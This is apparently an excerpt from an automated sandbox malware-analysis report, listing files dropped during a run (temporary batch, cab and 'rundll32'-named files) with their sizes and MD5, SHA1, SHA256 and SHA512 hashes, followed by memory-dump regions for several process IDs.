  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    5b9986f80080827fb88a63363f248a66

    SHA1

    b400f89b50a6dc1bf04acb45227eb042d7826532

    SHA256

    fe8d50a65575808204f7871d4122b431b5beea69c79be46689ab88c744c3f7a3

    SHA512

    552e22ac9130811be4596e33562c2aaaa8b89eece317e293d4d939c6db48da82f06a0e4f95c559ab5803aa27ea812efd1cc12c0eaae799352f4d3c973be9ecd3

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    6ae7a829596c1695402e9b38786312ce

    SHA1

    74cdc1126e287d42f1ea2f5ba531097ebe3ca76b

    SHA256

    e96a2530b0d6d75639b8b9ff29e08e93ec093a928343e004320cf22f82c83379

    SHA512

    d427b9640bfdcadecbe8b94ee2b6a61c5e0a67eef83b253df3b68479c552350de5a1c60abf067cbfadeb30a9f1dd90999def844728fa16b1001817deda0cfa62

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    3e973427d60187e1018b0dc12b5d0ac2

    SHA1

    a4e9152e79a02e40f4c6f80ef7b8f59a60dd82dd

    SHA256

    122eb485bb5afe36fad076696769beab026a01002f68d388ccb9722edf02c2ab

    SHA512

    a8177ff01cc15060c0857473f42d08343755739710186b88e5e7365d4e9c2d088be0c1a20372819971923dcf2fc4146a7c23144f7964e9c004d7228cb46742fd

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    285707d6dff1fafbeb87df8e10a19432

    SHA1

    f6a19aa4d16896d5cb6f1ef905bf48425fce105f

    SHA256

    554924206be4de8e970baa988218cdda86c797a877bc29e2c5d1391c1e0f3a8b

    SHA512

    33f20b055ea10ec17fc17ae416fdd7134521f7184bc07d8869c6b9f71b75c96d6f1cd823a0f42a2c08b8b9854435f75ceda2638f393ec9acd9c1d66ba9b22adc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    5ab209311b4c5c7d25bef96ba51b5c62

    SHA1

    05639a9c5e633dac7de136c25bdfb92ca58df776

    SHA256

    99210770aed3b3d46f4d71a88c8c6323fa296b6f4657749417451cfb24a18e7c

    SHA512

    37bb0817fc968a589e609fef2c831eb362290a541eb344e9434f775044aadb4a502176dde0863a5d144a38b8983e5013e1e6bd703800cb30415c3137ad5dd4d0

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    a5830056fc1f6a1ecbcb3aec343d95fc

    SHA1

    27910531e4055c040da4f8882805c1b8cd54b899

    SHA256

    7a873dca28727e48a744119151d501822ce045a45d847f76614341e9de1cf86b

    SHA512

    a0c4eb4b6fae9b3af10ceb810ef1c7444a1e94b9bf4831fdcd7a234a62505bd8c948a945aac9ef5cbdce2b65f428cae4589b4dc056b231ce8672dc1a06e28c37

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    b28fe249a4edb1ace5174f706b148f8f

    SHA1

    cd69924d59311e102c7cecbb6cc0d5cba0df26bb

    SHA256

    05f71a9fbbd481611913c3579e213e44035e20ddacc0f265b52f470311f380be

    SHA512

    e44bc0573c922facaeace0d609d6f9051378a7b3b5ef843a3c89e25ff0f27df20e938b53bbbf32843eeb3e90641e9ab6873a96c6e42a94d6b371e4e490207199

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    300e0aa3db6f9fd5aa83e3ad320e0c0a

    SHA1

    9ec532dd90f83bea32f5eaf54867a690a7dc71de

    SHA256

    f8e71c0354a1ccea812646584deac7b2e084e8ecff678e56e63c5302e9bfe1ae

    SHA512

    73b75ad45d1d40d31865bcd3ddb4c9a683d5f818a53b98979ea323ade4fca013d46fb78d6a765788a9a821cd485c2954bd2a54e3a103b11b40d7f2ba90d7bb79

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    52da1618301941285735e69e8cced9b0

    SHA1

    0b8e95a7569ba6e20fc869e426f7195e5d17958e

    SHA256

    a3347908af7b5bb39064787152397a05eff5e0031a42ab37d9a33117c846b3e2

    SHA512

    9305c830fe898eb13d1f1e37c4dae2d5c17a56f19f112b5d850bb2af32f37d546462929e34460e058e3364f621f12f75121ffa39b8b266470c34e3f9a96300dd

  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\yiu0yt6\imagestore.dat

    Filesize

    8KB

    MD5

    3aa9b6d92430f8c24b7639fb8530d6dd

    SHA1

    1fca5005e4e400d6f5db3be92616ee65c9c49a20

    SHA256

    45eb14430c1fcb871395269e80adadf0397e8a2a2a9b0110243d9cbb193994d0

    SHA512

    9f9c7b90eaacccc0772bccac311f4b675091be21b1d8418557cfb81af14681a6addf49aa4a7ebee8ba93c893cfd6b45a8593873612df513e9fe7265d15e4e0fc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\KIYAG1MM\favicon-trans-bg-000-mg[1].ico

    Filesize

    4KB

    MD5

    5879b2763fc53367a29f1e64721976db

    SHA1

    edee687feb0438fbb4fdf6e0b9bc941f2a0c464d

    SHA256

    b5f794efdee46f6e8759441cfb2bdc36640f50e47cad9f11cea18bed48e6c43b

    SHA512

    6b04809dad6d927b7c9fe0d674b8e14c9bb374ea069558e53468e33da76be44c8de6221f90f719462bcea90bec1a90ece58a706e440229ec78d81ba9063ad0f1

  • C:\Users\Admin\AppData\Local\Temp\4D84.tmp\ren.bat

    Filesize

    57B

    MD5

    97b2de650ff2e2112fbca643c7e69e0f

    SHA1

    556323bba3c43d1526e5ee23f73899f454282afa

    SHA256

    9d24f2630f43ffea0c8c64826c52bd2ebaf1107cb5bb1e7e99c048437281a00b

    SHA512

    e1972690c69ea16396235deef404d95e5219cfda389c4cc610fec28bf55aceed45bf0ed315aec69a299bfc7d34d25d73680ddcccbc3111d8d6484c00135c8b02

  • C:\Users\Admin\AppData\Local\Temp\Cab6125.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Tar61C4.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\rundll32.dat

    Filesize

    528B

    MD5

    8b7bf81e11a30fdff58875bfc81bd07d

    SHA1

    2999f7ab555942bd345ef43050d3c48ff289e78f

    SHA256

    f5f8f3ba432ffd3a91a8da3ee6d66442063e6e79d812f3ef5dd403fadce0b05c

    SHA512

    591d51915d4d99ecab4a73d8f1d6411e1076e8f539b10be17eaf5a31103d550cbde4f4c128e70b5af186dbf9f4534470d8835f90c17ebc098b91f7f21da83020

  • C:\Users\Admin\AppData\Local\Temp\rundll32_1.sys

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\AppData\Local\Temp\rundll32_7.sys

    Filesize

    588B

    MD5

    a3545b8af3127b0742c0dabbfb2a5cf0

    SHA1

    c9e6dce1b2da7105914a9989feb27a5bcde9d2d9

    SHA256

    bc6ac91d63237aed538b606d42197edaa75a097d27b0958fba98c80c3b63f0de

    SHA512

    5001682d47570ae9b8ab6dcf5a11605cea5739dc9a86aa99be6b3217aa1629d71bf507e33d37522263da036f6383553c2662980f84bd3594b94c3803ece751ee

  • memory/1224-70-0x0000000000400000-0x0000000000415000-memory.dmp

    Filesize

    84KB

  • memory/1224-65-0x0000000000400000-0x0000000000415000-memory.dmp

    Filesize

    84KB

  • memory/1224-69-0x0000000000400000-0x0000000000415000-memory.dmp

    Filesize

    84KB

  • memory/1224-68-0x0000000000400000-0x0000000000415000-memory.dmp

    Filesize

    84KB

  • memory/1224-63-0x0000000000400000-0x0000000000415000-memory.dmp

    Filesize

    84KB

  • memory/1680-29-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

  • memory/1680-47-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

  • memory/1680-44-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

  • memory/1680-62-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

  • memory/1680-43-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

  • memory/1680-33-0x0000000000400000-0x0000000000431000-memory.dmp

    Filesize

    196KB

  • memory/1788-22-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB

  • memory/1788-72-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB

  • memory/1788-25-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB

  • memory/1788-26-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB

  • memory/1788-18-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB

  • memory/1788-28-0x0000000000400000-0x000000000041D000-memory.dmp

    Filesize

    116KB

  • memory/2012-6-0x0000000000400000-0x000000000043D000-memory.dmp

    Filesize

    244KB

  • memory/2012-7-0x0000000000400000-0x000000000043D000-memory.dmp

    Filesize

    244KB

  • memory/2012-4-0x0000000000400000-0x000000000043D000-memory.dmp

    Filesize

    244KB

  • memory/2012-16-0x0000000000400000-0x000000000043D000-memory.dmp

    Filesize

    244KB

  • memory/2012-1-0x0000000000400000-0x000000000043D000-memory.dmp

    Filesize

    244KB

  • memory/2012-2-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2012-8-0x0000000000400000-0x000000000043D000-memory.dmp

    Filesize

    244KB

  • memory/2456-34-0x0000000000400000-0x0000000000425000-memory.dmp

    Filesize

    148KB

  • memory/2456-66-0x0000000000400000-0x0000000000425000-memory.dmp

    Filesize

    148KB

  • memory/2456-38-0x0000000000400000-0x0000000000425000-memory.dmp

    Filesize

    148KB

  • memory/2456-41-0x0000000000400000-0x0000000000425000-memory.dmp

    Filesize

    148KB

  • memory/2456-40-0x0000000000400000-0x0000000000425000-memory.dmp

    Filesize

    148KB

  • memory/2456-45-0x0000000000400000-0x0000000000425000-memory.dmp

    Filesize

    148KB

  • memory/2540-74-0x0000000010000000-0x0000000010117000-memory.dmp

    Filesize

    1.1MB

  • memory/2736-55-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/2736-57-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/2736-60-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/2736-59-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/2736-61-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

  • memory/2816-53-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

  • memory/2816-48-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

  • memory/2816-54-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

  • memory/2816-52-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

  • memory/2816-51-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

  • memory/2972-13-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2972-73-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2972-24-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2972-9-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2972-27-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/2972-17-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB